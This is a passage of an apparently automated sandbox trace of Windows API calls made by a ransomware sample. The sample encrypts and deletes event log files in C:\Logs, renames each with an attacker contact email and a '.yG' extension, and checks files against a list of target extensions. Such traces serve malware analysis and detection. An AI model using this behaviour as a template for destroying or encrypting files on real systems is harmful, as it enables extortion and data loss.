	[0049.046] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-CoreSystem-SmsRouter-Events%4Operational.evtx.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\logs\\microsoft-windows-coresystem-smsrouter-events%4operational.evtx.id-b4197730.[sysadmin@mail.fr].yg"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x390
	[0049.046] GetLastError () returned 0x0
	[0049.046] ReadFile (in: hFile=0x388, lpBuffer=0x3e43020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x312fecc, lpOverlapped=0x0 | out: lpBuffer=0x3e43020*, lpNumberOfBytesRead=0x312fecc*=0x11000, lpOverlapped=0x0) returned 1
	[0049.131] WriteFile (in: hFile=0x390, lpBuffer=0x3e43020*, nNumberOfBytesToWrite=0x11010, lpNumberOfBytesWritten=0x312fc94, lpOverlapped=0x0 | out: lpBuffer=0x3e43020*, lpNumberOfBytesWritten=0x312fc94*=0x11010, lpOverlapped=0x0) returned 1
	[0049.132] ReadFile (in: hFile=0x388, lpBuffer=0x3e43020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x312fecc, lpOverlapped=0x0 | out: lpBuffer=0x3e43020*, lpNumberOfBytesRead=0x312fecc*=0x0, lpOverlapped=0x0) returned 1
	[0049.132] WriteFile (in: hFile=0x390, lpBuffer=0x3e43020*, nNumberOfBytesToWrite=0x152, lpNumberOfBytesWritten=0x312fc94, lpOverlapped=0x0 | out: lpBuffer=0x3e43020*, lpNumberOfBytesWritten=0x312fc94*=0x152, lpOverlapped=0x0) returned 1
	[0049.132] SetEndOfFile (hFile=0x390) returned 1
	[0049.141] CloseHandle (hObject=0x390) returned 1
	[0049.143] SetFilePointerEx (in: hFile=0x388, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x312fec0 | out: lpNewFilePointer=0x0) returned 1
	[0049.143] SetEndOfFile (hFile=0x388) returned 1
	[0049.144] CloseHandle (hObject=0x388) returned 1
	[0049.144] SetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-CoreSystem-SmsRouter-Events%4Operational.evtx.id-B4197730.[sysadmin@mail.fr].yG", dwFileAttributes=0x20) returned 1
	[0049.144] DeleteFileW (lpFileName="C:\\Logs\\Microsoft-Windows-CoreSystem-SmsRouter-Events%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-coresystem-smsrouter-events%4operational.evtx")) returned 1
	[0049.144] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-CoreSystem-SmsRouter-Events%4Operational.evtx") returned 71
	[0049.144] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-CoreSystem-SmsRouter-Events%4Operational.evtx") returned 71
	[0049.144] lstrlenW (lpString=".doc") returned 4
	[0049.144] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1
	[0049.144] lstrlenW (lpString=".docx") returned 5
	[0049.144] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1
	[0049.144] lstrlenW (lpString=".pdf") returned 4
	[0049.144] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1
	[0049.144] lstrlenW (lpString=".xls") returned 4
	[0049.144] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1
	[0049.144] lstrlenW (lpString=".xlsx") returned 5
	[0049.144] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1
	[0049.144] lstrlenW (lpString=".ppt") returned 4
	[0049.144] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1
	[0049.144] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-CoreSystem-SmsRouter-Events%4Operational.evtx") returned 71
	[0049.144] lstrlenW (lpString=".zip") returned 4
	[0049.145] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1
	[0049.145] lstrlenW (lpString=".rar") returned 4
	[0049.145] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1
	[0049.145] lstrlenW (lpString=".bz2") returned 4
	[0049.145] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1
	[0049.145] lstrlenW (lpString=".7z") returned 3
	[0049.145] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1
	[0049.145] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-CoreSystem-SmsRouter-Events%4Operational.evtx") returned 71
	[0049.145] lstrlenW (lpString=".dbf") returned 4
	[0049.145] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1
	[0049.145] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-CoreSystem-SmsRouter-Events%4Operational.evtx") returned 71
	[0049.145] lstrlenW (lpString=".1cd") returned 4
	[0049.145] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1
	[0049.145] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-CoreSystem-SmsRouter-Events%4Operational.evtx") returned 71
	[0049.145] lstrlenW (lpString=".jpg") returned 4
	[0049.145] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1
	[0049.145] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-CoreSystem-SmsRouter-Events%4Operational.evtx") returned 71
	[0049.145] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-CoreSystem-SmsRouter-Events%4Operational.evtx") returned 71
	[0049.145] lstrlenW (lpString=".doc") returned 4
	[0049.145] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1
	[0049.145] lstrlenW (lpString=".docx") returned 5
	[0049.145] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1
	[0049.145] lstrlenW (lpString=".pdf") returned 4
	[0049.145] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1
	[0049.145] lstrlenW (lpString=".xls") returned 4
	[0049.145] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1
	[0049.145] lstrlenW (lpString=".xlsx") returned 5
	[0049.145] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1
	[0049.145] lstrlenW (lpString=".ppt") returned 4
	[0049.145] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1
	[0049.145] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-CoreSystem-SmsRouter-Events%4Operational.evtx") returned 71
	[0049.145] lstrlenW (lpString=".zip") returned 4
	[0049.145] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1
	[0049.145] lstrlenW (lpString=".rar") returned 4
	[0049.145] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1
	[0049.145] lstrlenW (lpString=".bz2") returned 4
	[0049.145] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1
	[0049.146] lstrlenW (lpString=".7z") returned 3
	[0049.146] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1
	[0049.146] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-CoreSystem-SmsRouter-Events%4Operational.evtx") returned 71
	[0049.146] lstrlenW (lpString=".dbf") returned 4
	[0049.146] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1
	[0049.146] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-CoreSystem-SmsRouter-Events%4Operational.evtx") returned 71
	[0049.146] lstrlenW (lpString=".1cd") returned 4
	[0049.146] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1
	[0049.146] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-CoreSystem-SmsRouter-Events%4Operational.evtx") returned 71
	[0049.146] lstrlenW (lpString=".jpg") returned 4
	[0049.146] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1
	[0049.146] lstrcmpiW (lpString1=".evtx", lpString2=".yG") returned -1
	[0049.146] lstrlenW (lpString="Microsoft-Windows-Crypto-DPAPI%4Operational.evtx") returned 48
	[0049.146] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-Crypto-DPAPI%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-crypto-dpapi%4operational.evtx"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x388
	[0049.149] GetFileSizeEx (in: hFile=0x388, lpFileSize=0x312ff14 | out: lpFileSize=0x312ff14*=69632) returned 1
	[0049.149] CloseHandle (hObject=0x388) returned 1
	[0049.149] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-Crypto-DPAPI%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-crypto-dpapi%4operational.evtx")) returned 0x20
	[0049.149] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-Crypto-DPAPI%4Operational.evtx.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\logs\\microsoft-windows-crypto-dpapi%4operational.evtx.id-b4197730.[sysadmin@mail.fr].yg")) returned 0xffffffff
	[0049.149] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-Crypto-DPAPI%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-crypto-dpapi%4operational.evtx"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x388
	[0049.149] SetFilePointerEx (in: hFile=0x388, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x312fec0 | out: lpNewFilePointer=0x0) returned 1
	[0049.149] SetFilePointerEx (in: hFile=0x388, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x312fec0 | out: lpNewFilePointer=0x0) returned 1
	[0049.149] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-Crypto-DPAPI%4Operational.evtx.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\logs\\microsoft-windows-crypto-dpapi%4operational.evtx.id-b4197730.[sysadmin@mail.fr].yg"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x390
	[0049.149] GetLastError () returned 0x0
	[0049.149] ReadFile (in: hFile=0x388, lpBuffer=0x3e43020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x312fecc, lpOverlapped=0x0 | out: lpBuffer=0x3e43020*, lpNumberOfBytesRead=0x312fecc*=0x11000, lpOverlapped=0x0) returned 1
	[0049.215] WriteFile (in: hFile=0x390, lpBuffer=0x3e43020*, nNumberOfBytesToWrite=0x11010, lpNumberOfBytesWritten=0x312fc94, lpOverlapped=0x0 | out: lpBuffer=0x3e43020*, lpNumberOfBytesWritten=0x312fc94*=0x11010, lpOverlapped=0x0) returned 1
	[0049.217] ReadFile (in: hFile=0x388, lpBuffer=0x3e43020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x312fecc, lpOverlapped=0x0 | out: lpBuffer=0x3e43020*, lpNumberOfBytesRead=0x312fecc*=0x0, lpOverlapped=0x0) returned 1
	[0049.217] WriteFile (in: hFile=0x390, lpBuffer=0x3e43020*, nNumberOfBytesToWrite=0x134, lpNumberOfBytesWritten=0x312fc94, lpOverlapped=0x0 | out: lpBuffer=0x3e43020*, lpNumberOfBytesWritten=0x312fc94*=0x134, lpOverlapped=0x0) returned 1
	[0049.217] SetEndOfFile (hFile=0x390) returned 1
	[0049.217] CloseHandle (hObject=0x390) returned 1
	[0049.219] SetFilePointerEx (in: hFile=0x388, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x312fec0 | out: lpNewFilePointer=0x0) returned 1
	[0049.219] SetEndOfFile (hFile=0x388) returned 1
	[0049.220] CloseHandle (hObject=0x388) returned 1
	[0049.220] SetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-Crypto-DPAPI%4Operational.evtx.id-B4197730.[sysadmin@mail.fr].yG", dwFileAttributes=0x20) returned 1
	[0049.220] DeleteFileW (lpFileName="C:\\Logs\\Microsoft-Windows-Crypto-DPAPI%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-crypto-dpapi%4operational.evtx")) returned 1
	[0049.221] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Crypto-DPAPI%4Operational.evtx") returned 56
	[0049.221] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Crypto-DPAPI%4Operational.evtx") returned 56
	[0049.221] lstrlenW (lpString=".doc") returned 4
	[0049.221] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1
	[0049.221] lstrlenW (lpString=".docx") returned 5
	[0049.221] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1
	[0049.221] lstrlenW (lpString=".pdf") returned 4
	[0049.221] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1
	[0049.221] lstrlenW (lpString=".xls") returned 4
	[0049.221] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1
	[0049.221] lstrlenW (lpString=".xlsx") returned 5
	[0049.221] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1
	[0049.221] lstrlenW (lpString=".ppt") returned 4
	[0049.221] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1
	[0049.221] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Crypto-DPAPI%4Operational.evtx") returned 56
	[0049.221] lstrlenW (lpString=".zip") returned 4
	[0049.221] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1
	[0049.221] lstrlenW (lpString=".rar") returned 4
	[0049.221] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1
	[0049.221] lstrlenW (lpString=".bz2") returned 4
	[0049.221] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1
	[0049.221] lstrlenW (lpString=".7z") returned 3
	[0049.221] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1
	[0049.221] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Crypto-DPAPI%4Operational.evtx") returned 56
	[0049.221] lstrlenW (lpString=".dbf") returned 4
	[0049.221] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1
	[0049.221] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Crypto-DPAPI%4Operational.evtx") returned 56
	[0049.221] lstrlenW (lpString=".1cd") returned 4
	[0049.222] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1
	[0049.222] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Crypto-DPAPI%4Operational.evtx") returned 56
	[0049.222] lstrlenW (lpString=".jpg") returned 4
	[0049.222] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1
	[0049.222] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Crypto-DPAPI%4Operational.evtx") returned 56
	[0049.222] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Crypto-DPAPI%4Operational.evtx") returned 56
	[0049.222] lstrlenW (lpString=".doc") returned 4
	[0049.222] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1
	[0049.222] lstrlenW (lpString=".docx") returned 5
	[0049.222] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1
	[0049.222] lstrlenW (lpString=".pdf") returned 4
	[0049.222] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1
	[0049.222] lstrlenW (lpString=".xls") returned 4
	[0049.222] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1
	[0049.222] lstrlenW (lpString=".xlsx") returned 5
	[0049.222] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1
	[0049.222] lstrlenW (lpString=".ppt") returned 4
	[0049.222] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1
	[0049.222] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Crypto-DPAPI%4Operational.evtx") returned 56
	[0049.222] lstrlenW (lpString=".zip") returned 4
	[0049.222] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1
	[0049.222] lstrlenW (lpString=".rar") returned 4
	[0049.222] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1
	[0049.222] lstrlenW (lpString=".bz2") returned 4
	[0049.222] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1
	[0049.222] lstrlenW (lpString=".7z") returned 3
	[0049.222] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1
	[0049.222] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Crypto-DPAPI%4Operational.evtx") returned 56
	[0049.222] lstrlenW (lpString=".dbf") returned 4
	[0049.222] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1
	[0049.222] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Crypto-DPAPI%4Operational.evtx") returned 56
	[0049.222] lstrlenW (lpString=".1cd") returned 4
	[0049.222] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1
	[0049.222] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Crypto-DPAPI%4Operational.evtx") returned 56
	[0049.222] lstrlenW (lpString=".jpg") returned 4
	[0049.223] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1
	[0049.223] lstrcmpiW (lpString1=".evtx", lpString2=".yG") returned -1
	[0049.223] lstrlenW (lpString="Microsoft-Windows-DeviceSetupManager%4Admin.evtx") returned 48
	[0049.223] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-DeviceSetupManager%4Admin.evtx" (normalized: "c:\\logs\\microsoft-windows-devicesetupmanager%4admin.evtx"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x388
	[0049.223] GetFileSizeEx (in: hFile=0x388, lpFileSize=0x312ff14 | out: lpFileSize=0x312ff14*=69632) returned 1
	[0049.223] CloseHandle (hObject=0x388) returned 1
	[0049.223] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-DeviceSetupManager%4Admin.evtx" (normalized: "c:\\logs\\microsoft-windows-devicesetupmanager%4admin.evtx")) returned 0x20
	[0049.223] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-DeviceSetupManager%4Admin.evtx.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\logs\\microsoft-windows-devicesetupmanager%4admin.evtx.id-b4197730.[sysadmin@mail.fr].yg")) returned 0xffffffff
	[0049.223] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-DeviceSetupManager%4Admin.evtx" (normalized: "c:\\logs\\microsoft-windows-devicesetupmanager%4admin.evtx"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x388
	[0049.223] SetFilePointerEx (in: hFile=0x388, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x312fec0 | out: lpNewFilePointer=0x0) returned 1
	[0049.223] SetFilePointerEx (in: hFile=0x388, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x312fec0 | out: lpNewFilePointer=0x0) returned 1
	[0049.224] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-DeviceSetupManager%4Admin.evtx.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\logs\\microsoft-windows-devicesetupmanager%4admin.evtx.id-b4197730.[sysadmin@mail.fr].yg"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x390
	[0049.224] GetLastError () returned 0x0
	[0049.224] ReadFile (in: hFile=0x388, lpBuffer=0x3e43020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x312fecc, lpOverlapped=0x0 | out: lpBuffer=0x3e43020*, lpNumberOfBytesRead=0x312fecc*=0x11000, lpOverlapped=0x0) returned 1
	[0049.377] WriteFile (in: hFile=0x390, lpBuffer=0x3e43020*, nNumberOfBytesToWrite=0x11010, lpNumberOfBytesWritten=0x312fc94, lpOverlapped=0x0 | out: lpBuffer=0x3e43020*, lpNumberOfBytesWritten=0x312fc94*=0x11010, lpOverlapped=0x0) returned 1
	[0049.379] ReadFile (in: hFile=0x388, lpBuffer=0x3e43020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x312fecc, lpOverlapped=0x0 | out: lpBuffer=0x3e43020*, lpNumberOfBytesRead=0x312fecc*=0x0, lpOverlapped=0x0) returned 1
	[0049.379] WriteFile (in: hFile=0x390, lpBuffer=0x3e43020*, nNumberOfBytesToWrite=0x134, lpNumberOfBytesWritten=0x312fc94, lpOverlapped=0x0 | out: lpBuffer=0x3e43020*, lpNumberOfBytesWritten=0x312fc94*=0x134, lpOverlapped=0x0) returned 1
	[0049.379] SetEndOfFile (hFile=0x390) returned 1
	[0049.379] CloseHandle (hObject=0x390) returned 1
	[0049.381] SetFilePointerEx (in: hFile=0x388, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x312fec0 | out: lpNewFilePointer=0x0) returned 1
	[0049.381] SetEndOfFile (hFile=0x388) returned 1
	[0049.382] CloseHandle (hObject=0x388) returned 1
	[0049.382] SetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-DeviceSetupManager%4Admin.evtx.id-B4197730.[sysadmin@mail.fr].yG", dwFileAttributes=0x20) returned 1
	[0049.382] DeleteFileW (lpFileName="C:\\Logs\\Microsoft-Windows-DeviceSetupManager%4Admin.evtx" (normalized: "c:\\logs\\microsoft-windows-devicesetupmanager%4admin.evtx")) returned 1
	[0049.382] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-DeviceSetupManager%4Admin.evtx") returned 56
	[0049.382] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-DeviceSetupManager%4Admin.evtx") returned 56
	[0049.382] lstrlenW (lpString=".doc") returned 4
	[0049.382] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1
	[0049.382] lstrlenW (lpString=".docx") returned 5
	[0049.382] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1
	[0049.382] lstrlenW (lpString=".pdf") returned 4
	[0049.382] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1
	[0049.382] lstrlenW (lpString=".xls") returned 4
	[0049.382] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1
	[0049.383] lstrlenW (lpString=".xlsx") returned 5
	[0049.383] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1
	[0049.383] lstrlenW (lpString=".ppt") returned 4
	[0049.383] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1
	[0049.383] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-DeviceSetupManager%4Admin.evtx") returned 56
	[0049.383] lstrlenW (lpString=".zip") returned 4
	[0049.383] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1
	[0049.383] lstrlenW (lpString=".rar") returned 4
	[0049.383] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1
	[0049.383] lstrlenW (lpString=".bz2") returned 4
	[0049.383] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1
	[0049.383] lstrlenW (lpString=".7z") returned 3
	[0049.383] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1
	[0049.383] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-DeviceSetupManager%4Admin.evtx") returned 56
	[0049.383] lstrlenW (lpString=".dbf") returned 4
	[0049.383] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1
	[0049.383] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-DeviceSetupManager%4Admin.evtx") returned 56
	[0049.383] lstrlenW (lpString=".1cd") returned 4
	[0049.383] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1
	[0049.383] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-DeviceSetupManager%4Admin.evtx") returned 56
	[0049.383] lstrlenW (lpString=".jpg") returned 4
	[0049.383] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1
	[0049.383] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-DeviceSetupManager%4Admin.evtx") returned 56
	[0049.383] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-DeviceSetupManager%4Admin.evtx") returned 56
	[0049.383] lstrlenW (lpString=".doc") returned 4
	[0049.383] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1
	[0049.383] lstrlenW (lpString=".docx") returned 5
	[0049.383] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1
	[0049.383] lstrlenW (lpString=".pdf") returned 4
	[0049.383] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1
	[0049.383] lstrlenW (lpString=".xls") returned 4
	[0049.383] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1
	[0049.384] lstrlenW (lpString=".xlsx") returned 5
	[0049.384] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1
	[0049.384] lstrlenW (lpString=".ppt") returned 4
	[0049.384] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1
	[0049.384] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-DeviceSetupManager%4Admin.evtx") returned 56
	[0049.384] lstrlenW (lpString=".zip") returned 4
	[0049.384] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1
	[0049.384] lstrlenW (lpString=".rar") returned 4
	[0049.384] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1
	[0049.384] lstrlenW (lpString=".bz2") returned 4
	[0049.384] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1
	[0049.384] lstrlenW (lpString=".7z") returned 3
	[0049.384] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1
	[0049.384] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-DeviceSetupManager%4Admin.evtx") returned 56
	[0049.384] lstrlenW (lpString=".dbf") returned 4
	[0049.384] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1
	[0049.384] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-DeviceSetupManager%4Admin.evtx") returned 56
	[0049.384] lstrlenW (lpString=".1cd") returned 4
	[0049.384] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1
	[0049.384] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-DeviceSetupManager%4Admin.evtx") returned 56
	[0049.384] lstrlenW (lpString=".jpg") returned 4
	[0049.384] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1
	[0049.384] lstrcmpiW (lpString1=".evtx", lpString2=".yG") returned -1
	[0049.384] lstrlenW (lpString="Microsoft-Windows-Dhcpv6-Client%4Admin.evtx") returned 43
	[0049.384] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-Dhcpv6-Client%4Admin.evtx" (normalized: "c:\\logs\\microsoft-windows-dhcpv6-client%4admin.evtx"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x388
	[0049.385] GetFileSizeEx (in: hFile=0x388, lpFileSize=0x312ff14 | out: lpFileSize=0x312ff14*=69632) returned 1
	[0049.385] CloseHandle (hObject=0x388) returned 1
	[0049.385] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-Dhcpv6-Client%4Admin.evtx" (normalized: "c:\\logs\\microsoft-windows-dhcpv6-client%4admin.evtx")) returned 0x20
	[0049.385] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-Dhcpv6-Client%4Admin.evtx.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\logs\\microsoft-windows-dhcpv6-client%4admin.evtx.id-b4197730.[sysadmin@mail.fr].yg")) returned 0xffffffff
	[0049.385] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-Dhcpv6-Client%4Admin.evtx" (normalized: "c:\\logs\\microsoft-windows-dhcpv6-client%4admin.evtx"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x388
	[0049.385] SetFilePointerEx (in: hFile=0x388, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x312fec0 | out: lpNewFilePointer=0x0) returned 1
	[0049.385] SetFilePointerEx (in: hFile=0x388, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x312fec0 | out: lpNewFilePointer=0x0) returned 1
	[0049.385] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-Dhcpv6-Client%4Admin.evtx.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\logs\\microsoft-windows-dhcpv6-client%4admin.evtx.id-b4197730.[sysadmin@mail.fr].yg"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x390
	[0049.385] GetLastError () returned 0x0
	[0049.385] ReadFile (in: hFile=0x388, lpBuffer=0x3e43020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x312fecc, lpOverlapped=0x0 | out: lpBuffer=0x3e43020*, lpNumberOfBytesRead=0x312fecc*=0x11000, lpOverlapped=0x0) returned 1
	[0049.436] WriteFile (in: hFile=0x390, lpBuffer=0x3e43020*, nNumberOfBytesToWrite=0x11010, lpNumberOfBytesWritten=0x312fc94, lpOverlapped=0x0 | out: lpBuffer=0x3e43020*, lpNumberOfBytesWritten=0x312fc94*=0x11010, lpOverlapped=0x0) returned 1
